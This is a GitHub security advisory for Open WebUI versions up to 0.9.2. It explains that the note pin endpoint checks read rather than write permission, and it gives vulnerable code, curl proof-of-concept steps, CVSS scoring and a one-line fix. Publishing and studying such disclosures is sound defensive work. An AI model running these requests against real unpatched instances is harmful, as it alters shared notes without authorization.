Skip to content

Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)

Low severity GitHub Reviewed Published May 9, 2026 in open-webui/open-webui • Updated May 19, 2026

Package

pip open-webui (pip)

Affected versions

<= 0.9.2

Patched versions

0.9.3

Description

Summary

The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.

Details

Affected code: backend/open_webui/routers/notes.py lines 412-444

@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
    # ...
    if user.role != 'admin' and (
        user.id != note.user_id
        and not await AccessGrants.has_access(
            user_id=user.id,
            resource_type='note',
            resource_id=note.id,
            permission='read',        # BUG: should be 'write'
            db=db,
        )
    ):
        raise HTTPException(...)
    
    note = await Notes.toggle_note_pinned_by_id(id, db=db)  # write operation

Compare with update endpoint (correct, line 318-327):

async def update_note_by_id(...):
    # ...
    and not await AccessGrants.has_access(
        permission='write',        # correctly checks 'write'
    )

PoC

Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.

Setup:

  1. UserA creates a note
  2. UserA shares note with UserB with read permission via POST /api/v1/notes/{id}/access/update with {"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}

Test:

# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false

# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
  -H "Authorization: Bearer $TOKEN_B" \
  -H "Content-Type: application/json" \
  -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden

# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true

# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
  -H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)

E2E Verified Result:

  • Step 1: UserB reads note (READ) -> 200 OK ✓
  • Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
  • Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
  • Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)

Impact

  • A user with only read access to a shared note can toggle its is_pinned status
  • This modifies the note's state without write authorization
  • The pin status change is visible to the note owner and all other users with access
  • Privilege escalation from read to write on the pin operation

Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.

Fix

One-line fix — change permission='read' to permission='write' in pin_note_by_id:

# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',

This makes the pin endpoint consistent with update and delete endpoints.

References

@doge-woof doge-woof published to open-webui/open-webui May 9, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026
Published by the National Vulnerability Database May 15, 2026
Last updated May 19, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-45316

GHSA ID

GHSA-jx2x-j75f-xq3j

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.